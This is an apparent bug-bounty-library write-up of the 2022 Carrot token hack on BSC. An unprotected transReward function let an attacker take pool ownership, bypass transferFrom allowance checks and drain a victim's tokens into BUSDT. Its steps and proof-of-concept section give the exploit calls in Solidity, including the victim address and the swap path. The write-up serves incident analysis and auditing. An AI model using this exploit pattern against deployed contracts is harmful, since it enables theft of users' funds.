# Carrot: unauthenticated transReward enables allowance bypass and token theft

Carrot token's transReward lacked access control, letting attacker set pool owner and bypass allowance to steal 31k BUSDT.

- Payout: Real-world hack
- Severity: high
- Program: Carrot
- Analysis by: DeFiHackLabs
- Disclosed: 2022-10-10
- Write-up quality: 7/10
- Original: https://github.com/SunWeb3Sec/DeFiHackLabs/blob/main/src/test/2022-10/Carrot_exp.sol
- Library page: https://bugbountylibrary.com/r/dhl%3A20221010-carrot
- Tags: area:web3 domain:web3 impact:funds-loss kind:incident platform:defihacklabs sev:high tech:evm tech:solidity vuln:access-control vuln:business-logic

**Target:** Carrot token contract on BSC
**Root cause:** transReward() has no access control and calls arbitrary data on the pool contract, allowing attacker to set pool owner. The _beforeTransfer logic then marks the attacker's contract as _isExcludedFromFee, bypassing allowance checks in transferFrom.
**Steps:**
1. Call `CARROT_TOKEN.transReward(abi.encodeWithSelector(0xbf699b4b, address(this)))` to set attacker contract as owner of the pool.
2. Call `CARROT_TOKEN.transferFrom(0x00B433800970286CF08F34C96cf07f35412F1161, address(this), 310_344_736_073_087_429_864_760)` to steal CARROT tokens without allowance.
3. Swap stolen CARROT to BUSDT via PancakeSwap router using `swapExactTokensForTokensSupportingFeeOnTransferTokens`.
**How found:** Likely identified that transReward lacked access control and could call arbitrary functions on the pool contract, then traced how setting pool owner triggers _isExcludedFromFee bypass in transferFrom.
**Exploitation:** Attacker called transReward with changeOwner selector to become pool owner, then called transferFrom from a victim address. Because _isExcludedFromFee[attacker] was set true during _beforeTransfer, the allowance check was skipped, allowing transfer of victim's tokens. Stolen tokens were swapped to BUSDT for profit.
**Insight:** Look for public functions that perform arbitrary calls (like transReward) without access control, especially when they can modify state used in token transfer checks (e.g., fee exclusion lists).

## Proof of concept (copied exactly from the original report)

**transReward call to hijack pool ownership**

```
CARROT_TOKEN.transReward(abi.encodeWithSelector(0xbf699b4b, address(this)));
```

**transferFrom stealing victim's CARROT tokens**

```
CARROT_TOKEN.transferFrom(
            0x00B433800970286CF08F34C96cf07f35412F1161, address(this), 310_344_736_073_087_429_864_760
        );
```

**Swap stolen CARROT to BUSDT**

```
CARROT_TOKEN.approve(address(PS_ROUTER), type(uint256).max);
        address[] memory path = new address[](2);
        path[0] = address(CARROT_TOKEN);
        path[1] = address(BUSDT_TOKEN);
        PS_ROUTER.swapExactTokensForTokensSupportingFeeOnTransferTokens(
            CARROT_TOKEN.balanceOf(address(this)), 0, path, address(this), block.timestamp
        );
```

